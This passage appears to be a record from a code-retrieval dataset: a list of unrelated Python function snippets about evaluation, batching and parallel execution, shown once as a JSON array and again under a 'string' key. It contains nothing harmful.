category=RuntimeWarning)\n if self._is_binary_func:\n result = self._apply_binary_args_function(\n *processed_args\n )\n else:\n result = self._function(*processed_args)\n else:\n result = self._expr_kernel(processed_args, batch)\n\n return self._post_process_result(result)","def on_eval_batch_begin(self, step, logs=None):","def compute(self, *args, **kwargs):\n for node in self.evaluation_sequence:\n node.evaluate()","def evaluator(self, candidates, args):\n\t\traise NotImplementedError","def evaluate_on_batch(self, xx, yy_true, metrics, hooks=None,\n progress=None):\n if hooks is None:\n hooks = []\n if progress is None:\n progress = {}\n\n stop = False\n for hook in hooks:\n if hook.on_eval_batch_begin(progress, xx, yy_true):\n stop = True\n if stop:\n results = None\n return results, None\n\n for i, x in enumerate(xx):\n xx[i] = Z.constant(x)\n for i, y_true in enumerate(yy_true):\n yy_true[i] = Z.constant(y_true)\n\n is_training = False\n yy_pred = self.model_forward(xx, is_training)\n results = []\n for i, (y_pred, y_true, metrics) in \\\n enumerate(zip(yy_pred, yy_true, metrics)):\n values = []\n for j, metric in enumerate(metrics):\n var = Z.mean(metric(y_true, y_pred))\n values.append(Z.to_scalar(var))\n results.append(values)\n\n stop = False\n for hook in hooks:\n if hook.on_eval_batch_end(progress, results):\n stop = True\n\n return results, stop","def eval(self, *args, **kwargs):\n raise NotImplementedError","def joblib_batch_evaluator(\n func,\n arguments,\n *,\n n_cores=N_CORES,\n error_handling=\"continue\",\n unpack_symbol=None,\n):\n _check_inputs(func, arguments, n_cores, error_handling, unpack_symbol)\n n_cores = int(n_cores) if int(n_cores) >= 2 else 1\n\n reraise = error_handling == \"raise\"\n\n @unpack(symbol=unpack_symbol)\n @catch(default=\"__traceback__\", reraise=reraise)\n def internal_func(*args, **kwargs):\n return func(*args, **kwargs)\n\n if n_cores == 1:\n res = [internal_func(arg) for arg in arguments]\n else:\n res = Parallel(n_jobs=n_cores)(delayed(internal_func)(arg) for arg in arguments)\n\n return res","def __call__(self, iterable):\n\n self._reset_run_tracking()\n self._start_time = time.time()\n\n if not self._managed_backend:\n n_jobs = self._initialize_backend()\n else:\n n_jobs = self._effective_n_jobs()\n\n if n_jobs == 1:\n # If n_jobs==1, run the computation sequentially and return\n # immediatly to avoid overheads.\n output = self._get_sequential_output(iterable)\n next(output)\n return output if self.return_generator else list(output)\n\n # Let's create an ID that uniquely identifies the current call. If the\n # call is interrupted early and that the same instance is immediately\n # re-used, this id will be used to prevent workers that were\n # concurrently finalizing a task from the previous call to run the\n # callback.\n with self._lock:\n self._call_id = uuid4().hex\n\n # self._effective_n_jobs should be called in the Parallel.__call__\n # thread only -- store its value in an attribute for further queries.\n self._cached_effective_n_jobs = n_jobs\n\n if isinstance(self._backend, LokyBackend):\n # For the loky backend, we add a callback executed when reducing\n # BatchCalls, that makes the loky executor use a temporary folder\n # specific to this Parallel object when pickling temporary memmaps.\n # This callback is necessary to ensure that several Parallel\n # objects using the same resuable executor don't use the same\n # temporary resources.\n\n def _batched_calls_reducer_callback():\n # Relevant implementation detail: the following lines, called\n # when reducing BatchedCalls, are called in a thread-safe\n # situation, meaning that the context of the temporary folder\n # manager will not be changed in between the callback execution\n # and the end of the BatchedCalls pickling. The reason is that\n # pickling (the only place where set_current_context is used)\n # is done from a single thread (the queue_feeder_thread).\n self._backend._workers._temp_folder_manager.set_current_context( # noqa\n self._id\n )\n self._reducer_callback = _batched_calls_reducer_callback\n\n # self._effective_n_jobs should be called in the Parallel.__call__\n # thread only -- store its value in an attribute for further queries.\n self._cached_effective_n_jobs = n_jobs\n\n backend_name = self._backend.__class__.__name__\n if n_jobs == 0:\n raise RuntimeError(\"%s has no active worker.\" % backend_name)\n\n self._print(\n f\"Using backend {backend_name} with {n_jobs} concurrent workers.\"\n )\n if hasattr(self._backend, 'start_call'):\n self._backend.start_call()\n\n # Following flag prevents double calls to `backend.stop_call`.\n self._calling = True\n\n iterator = iter(iterable)\n pre_dispatch = self.pre_dispatch\n\n if pre_dispatch == 'all':\n # prevent further dispatch via multiprocessing callback thread\n self._original_iterator = None\n self._pre_dispatch_amount = 0\n else:\n self._original_iterator = iterator\n if hasattr(pre_dispatch, 'endswith'):\n pre_dispatch = eval_expr(\n pre_dispatch.replace(\"n_jobs\", str(n_jobs))\n )\n self._pre_dispatch_amount = pre_dispatch = int(pre_dispatch)\n\n # The main thread will consume the first pre_dispatch items and\n # the remaining items will later be lazily dispatched by async\n # callbacks upon task completions.\n\n # TODO: this iterator should be batch_size * n_jobs\n iterator = itertools.islice(iterator, self._pre_dispatch_amount)\n\n # Use a caching dict for callables that are pickled with cloudpickle to\n # improve performances. This cache is used only in the case of\n # functions that are defined in the __main__ module, functions that\n # are defined locally (inside another function) and lambda expressions.\n self._pickle_cache = dict()\n\n output = self._get_outputs(iterator, pre_dispatch)\n self._call_ref = weakref.ref(output)\n\n # The first item from the output is blank, but it makes the interpreter\n # progress until it enters the Try/Except block of the generator and\n # reach the first `yield` statement. This starts the aynchronous\n # dispatch of the tasks to the workers.\n next(output)\n\n return output if self.return_generator else list(output)","def test_parallel_resistors(self):\r\n self.assertEqual(calc.evaluator({}, {}, '1||1'), 0.5)\r\n self.assertEqual(calc.evaluator({}, {}, '1||1||2'), 0.4)\r\n self.assertEqual(calc.evaluator({}, {}, \"j||1\"), 0.5 + 0.5j)","def eval(x: jnp.ndarray, data_batch: Dataset, **kwargs) -> jnp.ndarray:\n pass","def __call__(self, q, threads = None):\n if threads is -1: threads = cpu_count()\n\n if threads is None:\n results = [self.evaluate(v) for v in q]\n elif type(threads) is int and threads > 0:\n workers = Pool(threads)\n results = workers.map(self.evaluate, q)\n else:\n raise ValueError('threads keyword must be either -1 or an integer greater than zero')\n\n mu = [ t[0] for t in results ]\n sig = [ t[1] for t in results ]\n return array(mu), array(sig)","def _compute_next_evaluations(self, pending_zipped_X=None, ignored_zipped_X=None):\n\n ## --- Update the context if any\n self.acquisition.optimizer.context_manager = ContextManager(self.space, self.context)\n\n ### --- Activate de_duplication\n if self.de_duplication:\n duplicate_manager = DuplicateManager(space=self.space, zipped_X=self.X, pending_zipped_X=pending_zipped_X, ignored_zipped_X=ignored_zipped_X)\n else:\n duplicate_manager = None\n\n ### We zip the value in case there are categorical variables\n return self.space.zip_inputs(self.evaluator.compute_batch(duplicate_manager=duplicate_manager, context_manager= self.acquisition.optimizer.context_manager))","def split_calculation_to_threads(iterable, func, args):\n args_list = []\n batches = list(split_iterable_to_batches(iterable))\n for batch in batches:\n temp = list(args)\n temp.insert(0, batch)\n args_list.append(tuple(temp))\n with Pool(NUM_THREADS) as p:\n results = p.starmap(func, args_list)\n return results","def __evaluateLocal__(self, featureVals):\n pass","def evaluate(self, X):\n\n\t\tpass","def get_eval_input(self, prev, i):\n raise AssertionError('Not implemented')","def __call__ ( self , *x ) :\n return partial ( self.__index ,\n self.func ,\n x ,\n self.step ,\n self.order ,\n self.err )","def evaluator(self, candidates, args):\r\n raise NotImplementedError","def _fold_loop(cls, f, agg, next):\n\n while next is not None:\n (val, next) = next\n agg = f(val, agg)\n return agg","def evaluate(self) -> int:","def tracked_eval(self, expr):\n with self.track_reads() as deps:\n val = expr()\n return val, deps","def evaluate(self, g):\n pass","def run_evaluate_compound(self, data):\n tp = 0\n tn = 0\n fp = 0\n fn = 0\n for words, labels, pos in minbatch_generator(data, self.batch_size):\n labels_pred, sequence_lengths = self.predict_batch(words, pos)\n if not type(labels_pred) == list:\n labels_pred = labels_pred.tolist()\n for i, label_actual in enumerate(labels):\n # we have to now find all aspect terms. That is, merge consecutive B \n # with I's until we get an O or B\n a_terms_actual, non_a_terms_actual = get_aspect_chunks(label_actual)\n for a_term in a_terms_actual:\n # say we have [1,2,3] as our a_term. we have to make sure that our \n # prediction should have tags B, I, I in 1, 2 and 3 indices respectively\n a_term_pred = []\n for index in a_term:\n if not label_actual[index] == labels_pred[i][index]:\n fn += 1\n break\n else:\n tp += 1\n for index in non_a_terms_actual:\n if label_actual[index] == labels_pred[i][index]:\n tn += 1\n else:\n fp += 1\n\n precision = 0 if tp+fp == 0 else tp/(tp+fp)\n recall = 0 if tp+fn == 0 else tp/(tp+fn)\n fscore = 0 if precision+recall == 0 else (2*recall*precision)/(recall+precision)\n metrics = dict()\n metrics[\"p_1\"] = precision\n metrics[\"f_1\"] = fscore\n metrics[\"r_1\"] = recall\n return metrics","def batch(size, iterable):\r\n return list(xbatch(size, iterable))","def splitEval(self, f):\n return self.split(lambda t,l: t.evaluateFormulaOnTrace(f))","def _evaluate(self, x):\n raise NotImplementedError()","def getResult(targets, i=None):","def evalDeferred(*args, evaluateNext: bool=True, list: bool=True, lowPriority: bool=True,\n lowestPriority: bool=True, **kwargs)->List[AnyStr]:\n pass","def calculate(self):\n if all( map( lambda x: isinstance(x, N),self.args) ):\n return self.evaluate()\n else:\n return self.__class__( map(operator.methodcaller('calculate'), self.args))\n #return self.__class__( (self.args[0].calculate(), self.args[1].calculate()) )","def execs_timeit_2vector(exprs, fname=None):\r\n #exp = [(1,100000),(1e1,100000),(1e2,100000),(1e3,100000), (5e3,50000),\r\n exp = [(1e3,100000),(5e3,50000), \\\r\n (1e4,10000),(5e4,5000),(1e5,2000),(1e6,200),(1e7,10)\r\n ]\r\n ### TO TEST UNCOMMENT THIS LINE\r\n # exp = [(1,1000),(1e1,1000),(1e2,1000),]\r\n times=[]\r\n str_expr=[]\r\n for g_exprs in exprs:\r\n for expr in g_exprs:\r\n nb_call_scal=1\r\n if isinstance(expr,tuple):\r\n nb_call_scal=expr[1]\r\n expr = expr[0]\r\n str_expr.append(expr)\r\n time=[]\r\n for nb_e, nb_c in exp:\r\n time.append(timeit_2vector(nb_element=nb_e, nb_repeat=3, nb_call=nb_c*nb_call_scal, expr=expr, do_amd=False))\r\n times.append(time)\r\n if 'pylab' not in globals():\r\n return\r\n\r\n nb_calls=[e[0] for e in exp]\r\n legends=[]\r\n colors=['b','r','g','c', 'm', 'y']\r\n assert len(colors)>=len(times)\r\n fig = pylab.figure()\r\n for idx,(time,expr) in enumerate(zip(times,str_expr)):\r\n\r\n ###\r\n ###\r\n ###\r\n # Creating each subplot\r\n ###\r\n ###\r\n ###\r\n ###\r\n pylab.subplot(220+idx+1)\r\n pylab.subplots_adjust(wspace=0.25, hspace=0.25)\r\n #legend=[]\r\n #plot = fig.add_subplot(1,len(exprs),idx)\r\n speedup = [t[\"numpy\"].min()/t[\"numexpr\"].min() for t in time]\r\n\r\n pylab.semilogx(nb_calls, speedup, linewidth=1.0, color='r')\r\n speedup = [t[\"numpy\"].min()/t[\"theano\"].min() for t in time]\r\n pylab.semilogx(nb_calls, speedup, linewidth=1.0, color = 'b')\r\n pylab.grid(True)\r\n if (idx == 2) or (idx == 3):\r\n pylab.xlabel('Dimension of vectors a and b', fontsize = 15)\r\n if (idx == 0) or (idx == 2):\r\n pylab.ylabel('Speed up vs NumPy', fontsize = 15)\r\n pylab.axhline(y=1, linewidth=1.0, color='black')\r\n pylab.xlim(1e3,1e7)\r\n pylab.xticks([1e3,1e5,1e7],['1e3','1e5','1e7'])\r\n pylab.title(expr)\r\n\r\n\r\n\r\n if fname:\r\n fig.savefig(fname)\r\n pylab.clf()\r\n else:\r\n pylab.show()","def _optimise(self):\n pass","def Eval(state):\n\n# H1 = htest2(state)\n# return H1\n H2 = h1(state)*monotonic(state)\n return H2","def eval(self, A):\n\t\tpass","def parallel_execution(*args):\n return tuple(\n map(lambda x: x.result(),\n [__executor.submit(x) for x in args]\n )\n )","def test_quad_flush_ind(self):","def test_reduce(self):\n self.assertEqual(15, reduce(lambda x, y: x + y, [1, 2, 3, 4, 5]))\n self.assertEqual(16, reduce(lambda x, y: x + y, [1, 2, 3, 4, 5], 1))","def __call__(self, *args):\n assert len(args) == len(self.batch_axis), f'Number of arguments passed {len(args)} must match ' \\\n f'batched {len(self.batch_axis)}'\n nsplits = args[self.batch_axis_argnums[0][0]].shape[self.batch_axis_argnums[0][1]]\n output, changes = self._call(self.vc.tensors(), [v.split(nsplits) for v in self.vc.subset(RandomState)], *args)\n for v, u in zip(self.vc, changes):\n v.reduce(u)\n return output","def _qprocess(self):\n while 1:\n t, args, kw = self.inq.get()\n ret = self.__call__(*args, **kw)\n self.outq.put((t, ret))","def evaluate(self, states, actions, tasks):\n self._assert_is_batched(states, actions, tasks)\n return self._tf_call(self._evaluate, states, actions, tasks)","def eval_sequence(exps, env):\n if isLastExp(exps):\n return m_eval(first_exp(exps), env)\n else:\n m_eval(first_exp(exps), env)\n return eval_sequence(rest_exps(exps), env)","def evaluate(self, dataset):\n\t\tpass","def batchify_cache(fn, chunk):\n if chunk is None:\n return fn\n\n def ret(inputs, training = False):\n\n ret_list = [fn(inputs[i:i+chunk], training=training) for i in range(0, int(inputs.shape[0]), chunk)]\n\n return tf.concat([ret for ret in ret_list], 0)\n return ret","def testTiming(s,iters=10,batchsize=99):\n\n qstart = s.getEndConfig();\n gxcall = \"gj\"\n amcall = (\"am\",0.004)+tuple(qstart)\n\n index = 0\n while index < iters:\n t0=time.time()\n res = s.call([gxcall]*batchsize)\n assert not 'Error' in res,'Error on batch '+str(gxcall)\n print(\"Time for %d gx's (batched): %f\"%(batchsize,time.time()-t0))\n \n t0=time.time()\n for i in xrange(batchsize):\n res = s.call(gxcall)\n assert res != 'Error','Error on '+str(gxcall)\n print(\"Time for %d gx's (unbatched): %f\"%(batchsize,time.time()-t0))\n\n t0=time.time()\n res = s.call([amcall]*batchsize)\n assert not 'Error' in res,'Error on batch '+str(amcall)\n print(\"Time for %d am's (batched): %f\"%(batchsize,time.time()-t0))\n t0=time.time()\n\n t0=time.time()\n s.call([amcall]*batchsize,wantReply=False)\n print(\"Time for %d am's (batched,noreply): %f\"%(batchsize,time.time()-t0))\n ret = s.echo(\"blah\")\n assert ret == \"blah\"\n print(\" Responsive after time %f\"%(time.time()-t0))\n\n t0=time.time()\n for i in xrange(batchsize):\n res=s.call(amcall)\n assert 'Error' != res,'Error on '+str(amcall)\n print(\"Time for %d am's (unbatched): %f\"%(batchsize,time.time()-t0))\n\n t0=time.time()\n for i in xrange(batchsize):\n s.call(amcall,wantReply=False)\n print(\"Time for %d am's (unbatched,noreply): %f\"%(batchsize,time.time()-t0))\n ret = s.echo(\"blah\")\n assert ret == \"blah\"\n print(\" Responsive after time %f\"%(time.time()-t0))\n \n index += 1","def eager_map(func, iterable):\n for _ in map(func, iterable):\n continue","def test_identity_multiple_batched(self, dev):\n qml.enable_tape()\n dev = qml.device(dev, wires=2)\n\n with qml.tape.QuantumTape() as tape1:\n qml.expval(qml.Identity(wires=[0]))\n qml.expval(qml.Identity(wires=[1]))\n\n res = dev.batch_execute([tape1])\n assert len(res) == 1\n assert np.allclose(res[0], np.array([1, 1]))\n qml.disable_tape()","def eval(self):\n arg_list = list(self.__args)\n for i, arg in enumerate(self.__args):\n if isinstance(arg, LazyOperation): \n arg_list[i] = arg.eval()\n \n self.__args = tuple(arg_list)\n \n for key in self.__kwargs:\n if isinstance(self.__kwarg[key], LazyOperation):\n self.__kwarg[key] = self.__kwarg[key].eval()\n \n return self.__func(*self.__args, **self.__kwargs)","def testNoCatchEagerOpExecution(self):\n check_numerics_callback.enable_check_numerics()\n x = constant_op.constant([2.0, 3.0])\n y = constant_op.constant([1.0, 0.0])\n self.assertAllClose((x + y) * (x - y), [3.0, 9.0])","def batch_execute(global_step, thunks, batch_size, name=None):\n\n def true_fn(thunk):\n \"\"\"Ensures thunk is executed and returns an Op (not a Tensor).\"\"\"\n\n def result():\n with tf.control_dependencies([thunk()]):\n return tf.no_op()\n\n return result\n\n def false_fn(_):\n \"\"\"Executes a no-op.\"\"\"\n\n def result():\n return tf.no_op()\n\n return result\n\n with tf.name_scope(name, \"batch_execute\"):\n true_fns = [true_fn(thunk) for thunk in thunks]\n false_fns = [false_fn(thunk) for thunk in thunks]\n num_thunks = len(thunks)\n conditions = [\n tf.less(\n tf.mod(batch_size - 1 + global_step * batch_size - j, num_thunks),\n batch_size) for j in range(num_thunks)\n ]\n result = [\n tf.cond(condition, true_fn, false_fn)\n for (condition, true_fn,\n false_fn) in zip(conditions, true_fns, false_fns)\n ]\n return result","def get_eval_batch(self) -> jnp.ndarray:\n\n return self.dataset[-self.eval_batch_size:, ...]","def body(i, *args):\n del args\n fn_result = fn(ctx, iterator.get_next())\n flat_last_step_outputs = nest.flatten(ctx.last_step_outputs)\n with ops.control_dependencies([fn_result]):\n return [i + 1] + flat_last_step_outputs","def wrap_execute_sequence(wrap_func, iterate_vals, nb_workers=NB_THREADS,\n desc='', ordered=False):\n iterate_vals = list(iterate_vals)\n nb_workers = 1 if not nb_workers else int(nb_workers)\n\n tqdm_bar = None\n if desc is not None:\n desc = '%r @%i-threads' % (desc, nb_workers)\n tqdm_bar = tqdm.tqdm(total=len(iterate_vals), desc=desc)\n\n if nb_workers > 1:\n logging.debug('perform parallel in %i threads', nb_workers)\n # Standard mproc.Pool created a demon processes which can be called\n # inside its children, cascade or multiprocessing\n # https://stackoverflow.com/questions/6974695/python-process-pool-non-daemonic\n pool = mproc.Pool(nb_workers)\n pooling = pool.imap if ordered else pool.imap_unordered\n\n for out in pooling(wrap_func, iterate_vals):\n tqdm_bar.update() if tqdm_bar is not None else None\n yield out\n pool.close()\n pool.join()\n else:\n logging.debug('perform sequential')\n for out in map(wrap_func, iterate_vals):\n tqdm_bar.update() if tqdm_bar is not None else None\n yield out\n\n tqdm_bar.close() if tqdm_bar is not None else None","def on_eval_batch_end(self, step, logs=None):","def test_dup_args_in_call(x):\n return x * x","def test_dup_args_in_call(x):\n return x * x","def _pipe_and_accumulate(val, fns):\n for fn in fns:\n val = fn(val)\n yield val","def accumulate(binop, seq):\n result = next(iter(seq))\n yield result\n for elem in itertools.islice(seq, 1, None):\n result = binop(result, elem)\n yield result","def evaluate(self, tree):\n\t\tpass","def merge_reduce(function: typing.Callable, data: list) -> typing.Any:\n queue = deque(range(len(data)))\n while len(queue):\n x_value = queue.popleft()\n if len(queue):\n y_value = queue.popleft()\n data[x_value] = function(data[x_value], data[y_value])\n queue.append(x_value)\n else:\n return data[x_value]","def run_eval_epoch(sess, cost_op, ops, num_unrolls, step=None, unroll_len=None):\n start = timer()\n # sess.run(reset)\n total_cost = []\n feed_dict = {}\n for i in xrange(num_unrolls):\n if step is not None:\n feed_dict[step] = i * unroll_len + 1\n cost = sess.run([cost_op] + ops, feed_dict=feed_dict)[0]\n total_cost.append(cost)\n return timer() - start, total_cost","def full_eval(val, env):\n eval_expr = val.partialEval(env)\n return eval_expr.v","def _evaluate(model):\n _recompile(model)\n if isinstance(eval_dataset, tuple):\n eval_images, eval_labels = eval_dataset\n return model.evaluate(\n eval_images, eval_labels, verbose=verbose, return_dict=True)\n else:\n return model.evaluate(eval_dataset, verbose=verbose, return_dict=True)","def eval(self):\n raise NotImplementedError","def evaluate(f, a):\n if f == []:\n return 0\n result = f[-1] # begin with leading coefficient\n i = len(f) - 1 # number of times to iterate \n while i >= 0:\n result = f[i] + a*result\n i -= 1\n return result","def process_jobs_(jobs):\n out = []\n for job in jobs:\n out_ = MultiProcessingFunctions.expand_call(job)\n out.append(out_)\n return out"],"string":"[\n \"def multiple_eval_for_loops_v2():\",\n \"def multiple_eval_for_loops_v1():\",\n \"def evaluate_batch(self, pipelines):\",\n \"def reduce_run():\",\n \"def _batching_call(self, *args, **kw):\\n b_start = kw.pop('b_start', None)\\n b_size = kw.pop('b_size', None)\\n results = list(self._original_call(*args, **kw))\\n\\n if b_start is None:\\n return results\\n\\n if b_size is None:\\n b_size = len(results)\\n\\n return results[b_start:b_start+b_size]\",\n \"def test_lazy_evaluation(self):\\n pass\",\n \"def batch_eval(f, pts):\\n\\n\\t# Use this array to send into FEniCS.\\n\\tout = np.zeros(1)\\n\\n\\tdef gen():\\n\\t\\tfor pt in pts.reshape(2, -1).T:\\n\\t\\t\\tf.eval(out, pt)\\n\\t\\t\\tyield out[0]\\n\\n\\tvalues = list(gen())\\n\\tavalues = np.array(values).reshape(pts.shape[1:])\\n\\treturn avalues\",\n \"def batch_evaluate(inputs, grammar, model, assignment, trace=0):\\n return [[(syn, sem, model.evaluate(str(sem), assignment, trace=trace))\\n for (syn, sem) in interpretations]\\n for interpretations in batch_interpret(inputs, grammar)]\",\n \"def evaluate(self, batch_x, batch_y):\\n raise NotImplementedError()\",\n \"def _expr_kernel(self,\\n arguments: Any,\\n batch: RecordBatch) -> Any:\\n pass\",\n \"def evaluate(self):\\n pass\",\n \"def evaluate(self):\\n pass\",\n \"def batched(self) -> bool:\\n return False\",\n \"def eval_batch(self, outputs, target):\\n raise NotImplementedError\",\n \"def eval_parallel(parse_result):\\r\\n if len(parse_result) == 1:\\r\\n return parse_result[0]\\r\\n if 0 in parse_result:\\r\\n return float('nan')\\r\\n reciprocals = [1. / e for e in parse_result\\r\\n if isinstance(e, numbers.Number)]\\r\\n return 1. / sum(reciprocals)\",\n \"def batch_compute(generator: Iterator[T], evaluator: Callable[[List[T]], List[U]], batch_size=256):\\n batch = []\\n\\n def _compute():\\n if len(batch) > 0:\\n resp = evaluator(batch)\\n return resp\\n else:\\n return []\\n\\n for item in generator:\\n batch.append(item)\\n if len(batch) >= batch_size:\\n yield from _compute()\\n batch = []\\n\\n yield from _compute()\",\n \"def eval(*args, **kwargs)->Any:\\n pass\",\n \"def __call__(self):\\n return self.reduce()\",\n \"def eval(*args, **kwargs):\\n\\n pass\",\n \"def evaluate(expr, env=g_env):\\n if type(expr) != list or expr == []:\\n if expr in env:\\n return env[expr]\\n return expr\\n first = expr[0]\\n if type(first) != list:\\n # special cases\\n rest = expr[1:]\\n if first == _println:\\n serialized = [serialize(evaluate(e, env)) for e in rest]\\n print(' '.join(serialized))\\n return\\n if first == _quote:\\n return expr[1]\\n if first == _define:\\n (_, sym, val) = expr\\n env[sym] = evaluate(val, env)\\n return\\n if first == _do:\\n return [evaluate(x, env) for x in rest][-1]\\n if first == _lambda:\\n (_, params, body) = expr\\n return Proc(params, body, env)\\n if first == _cond:\\n pairs = expr[1:]\\n for cond, then in pairs:\\n if evaluate(cond, env) is not False:\\n return evaluate(then, env)\\n return evaluate(pairs[-1][1], env)\\n if first == _count:\\n (_, proc, l) = expr\\n return reduce(lambda acc,i: acc + 1 if evaluate(proc, env)(i) else acc, l, 0)\\n if first in env:\\n first = env[first]\\n # procedure call\\n if callable(first):\\n try:\\n args = [evaluate(arg, env) for arg in rest]\\n return first(*args)\\n except Exception as e:\\n print env.env_map\\n print expr\\n raise e\\n if len(expr) == 1:\\n return first\\n return [evaluate(el, env) for el in expr]\\n if [evaluate(el, env) for el in expr] == expr:\\n return expr\\n return evaluate([evaluate(el, env) for el in expr], env)\",\n \"def evaluate(self) :\\n pass\",\n \"def simplify_functions_parallel(expressions):\\n manager = multiprocessing.Manager()\\n return_dict = manager.dict()\\n\\n processes = []\\n factorised_expressions = []\\n for index, item in enumerate(expressions):\\n # print(\\\"item \\\", item, \\\"index\\\", index)\\n processes.append(multiprocessing.Process(target=bar, args=(item, index, return_dict)))\\n for p in processes:\\n p.start()\\n\\n for p in processes:\\n p.join()\\n\\n ## Showing the difference in an example:\\n # print(return_dict)\\n for i in sorted(return_dict.keys()):\\n factorised_expressions.append(return_dict[i])\\n return factorised_expressions\",\n \"def _evaluate(tensor):\\n if context.executing_eagerly():\\n return tensor.numpy()\\n return ops.get_default_session().run(tensor)\",\n \"def pre_compute(self, e_list):\\n\\t\\tpass\",\n \"def evaluate(self, seq, begin, end, *args):\\n return reduce(operator.add, args, [])\",\n \"def test_indexed_buffered(self, expr, result):\\n i, j, l = dimify('i j l')\\n a = symbol(name='a', dimensions=(i, j, l), value=2., mode='indexed').base\\n fa = a.function\\n\\n eqn = eval(expr)\\n Operator(eqn)(fa)\\n assert np.allclose(fa.data[1, 1:-1, 1:-1], result[1:-1, 1:-1], rtol=1e-12)\",\n \"def compute(a):\\n it = iter(a)\\n while True:\\n op = next(it)\\n\\n # Invalid opcode check\\n if op not in (1, 2, 99):\\n raise ValueError\\n\\n # Halt opcode\\n if op == 99:\\n break\\n\\n x, y, z = next(it), next(it), next(it)\\n if op == 1:\\n a[z] = a[x] + a[y]\\n else:\\n a[z] = a[x] * a[y]\\n\\n return a[0]\",\n \"def make_accumulator():\\n pass # replace with your solution\",\n \"def result(self) -> global___Expression:\",\n \"def map(self, callable, iterable):\\n iterable = executor.get_actual_value(iterable)\\n return super(Executor, self).map(callable, iterable)\",\n \"def evaluate(compiled_expression):\",\n \"def _determine_next_batch_of_eval_points(self):\\n anc_data = self._get_ancillary_data_for_acquisition()\\n acq_to_use = getattr(acquisitions.syn, self.options.acq.lower())\\n next_batch_of_eval_points = acq_to_use(self.num_workers, self.gp, self.acq_optimise,\\n anc_data)\\n return next_batch_of_eval_points\",\n \"def eval(self):\\n pass\",\n \"def eval(self):\\n pass\",\n \"def eval(self):\\n pass\",\n \"def _evaluate(self, targets: jnp.ndarray) -> jnp.ndarray:\\n pass\",\n \"def runner(func, iterable, arguments, local=False):\\n if local:\\n return [func(i, *arguments) for i in iterable]\\n else:\\n if iterable:\\n return group(func.s(i, *arguments) for i in iterable)().get()\\n else:\\n # group()() returns None if group is called with no arguments,\\n # leading to an AttributeError with get().\\n return []\",\n \"def evaluate(self, batch: RecordBatch) -> Any:\\n processed_args = self._process_arguments(self._arguments, batch)\\n if self._function:\\n with warnings.catch_warnings():\\n warnings.simplefilter(\\\"ignore\\\", category=RuntimeWarning)\\n if self._is_binary_func:\\n result = self._apply_binary_args_function(\\n *processed_args\\n )\\n else:\\n result = self._function(*processed_args)\\n else:\\n result = self._expr_kernel(processed_args, batch)\\n\\n return self._post_process_result(result)\",\n \"def on_eval_batch_begin(self, step, logs=None):\",\n \"def compute(self, *args, **kwargs):\\n for node in self.evaluation_sequence:\\n node.evaluate()\",\n \"def evaluator(self, candidates, args):\\n\\t\\traise NotImplementedError\",\n \"def evaluate_on_batch(self, xx, yy_true, metrics, hooks=None,\\n progress=None):\\n if hooks is None:\\n hooks = []\\n if progress is None:\\n progress = {}\\n\\n stop = False\\n for hook in hooks:\\n if hook.on_eval_batch_begin(progress, xx, yy_true):\\n stop = True\\n if stop:\\n results = None\\n return results, None\\n\\n for i, x in enumerate(xx):\\n xx[i] = Z.constant(x)\\n for i, y_true in enumerate(yy_true):\\n yy_true[i] = Z.constant(y_true)\\n\\n is_training = False\\n yy_pred = self.model_forward(xx, is_training)\\n results = []\\n for i, (y_pred, y_true, metrics) in \\\\\\n enumerate(zip(yy_pred, yy_true, metrics)):\\n values = []\\n for j, metric in enumerate(metrics):\\n var = Z.mean(metric(y_true, y_pred))\\n values.append(Z.to_scalar(var))\\n results.append(values)\\n\\n stop = False\\n for hook in hooks:\\n if hook.on_eval_batch_end(progress, results):\\n stop = True\\n\\n return results, stop\",\n \"def eval(self, *args, **kwargs):\\n raise NotImplementedError\",\n \"def joblib_batch_evaluator(\\n func,\\n arguments,\\n *,\\n n_cores=N_CORES,\\n error_handling=\\\"continue\\\",\\n unpack_symbol=None,\\n):\\n _check_inputs(func, arguments, n_cores, error_handling, unpack_symbol)\\n n_cores = int(n_cores) if int(n_cores) >= 2 else 1\\n\\n reraise = error_handling == \\\"raise\\\"\\n\\n @unpack(symbol=unpack_symbol)\\n @catch(default=\\\"__traceback__\\\", reraise=reraise)\\n def internal_func(*args, **kwargs):\\n return func(*args, **kwargs)\\n\\n if n_cores == 1:\\n res = [internal_func(arg) for arg in arguments]\\n else:\\n res = Parallel(n_jobs=n_cores)(delayed(internal_func)(arg) for arg in arguments)\\n\\n return res\",\n \"def __call__(self, iterable):\\n\\n self._reset_run_tracking()\\n self._start_time = time.time()\\n\\n if not self._managed_backend:\\n n_jobs = self._initialize_backend()\\n else:\\n n_jobs = self._effective_n_jobs()\\n\\n if n_jobs == 1:\\n # If n_jobs==1, run the computation sequentially and return\\n # immediatly to avoid overheads.\\n output = self._get_sequential_output(iterable)\\n next(output)\\n return output if self.return_generator else list(output)\\n\\n # Let's create an ID that uniquely identifies the current call. If the\\n # call is interrupted early and that the same instance is immediately\\n # re-used, this id will be used to prevent workers that were\\n # concurrently finalizing a task from the previous call to run the\\n # callback.\\n with self._lock:\\n self._call_id = uuid4().hex\\n\\n # self._effective_n_jobs should be called in the Parallel.__call__\\n # thread only -- store its value in an attribute for further queries.\\n self._cached_effective_n_jobs = n_jobs\\n\\n if isinstance(self._backend, LokyBackend):\\n # For the loky backend, we add a callback executed when reducing\\n # BatchCalls, that makes the loky executor use a temporary folder\\n # specific to this Parallel object when pickling temporary memmaps.\\n # This callback is necessary to ensure that several Parallel\\n # objects using the same resuable executor don't use the same\\n # temporary resources.\\n\\n def _batched_calls_reducer_callback():\\n # Relevant implementation detail: the following lines, called\\n # when reducing BatchedCalls, are called in a thread-safe\\n # situation, meaning that the context of the temporary folder\\n # manager will not be changed in between the callback execution\\n # and the end of the BatchedCalls pickling. The reason is that\\n # pickling (the only place where set_current_context is used)\\n # is done from a single thread (the queue_feeder_thread).\\n self._backend._workers._temp_folder_manager.set_current_context( # noqa\\n self._id\\n )\\n self._reducer_callback = _batched_calls_reducer_callback\\n\\n # self._effective_n_jobs should be called in the Parallel.__call__\\n # thread only -- store its value in an attribute for further queries.\\n self._cached_effective_n_jobs = n_jobs\\n\\n backend_name = self._backend.__class__.__name__\\n if n_jobs == 0:\\n raise RuntimeError(\\\"%s has no active worker.\\\" % backend_name)\\n\\n self._print(\\n f\\\"Using backend {backend_name} with {n_jobs} concurrent workers.\\\"\\n )\\n if hasattr(self._backend, 'start_call'):\\n self._backend.start_call()\\n\\n # Following flag prevents double calls to `backend.stop_call`.\\n self._calling = True\\n\\n iterator = iter(iterable)\\n pre_dispatch = self.pre_dispatch\\n\\n if pre_dispatch == 'all':\\n # prevent further dispatch via 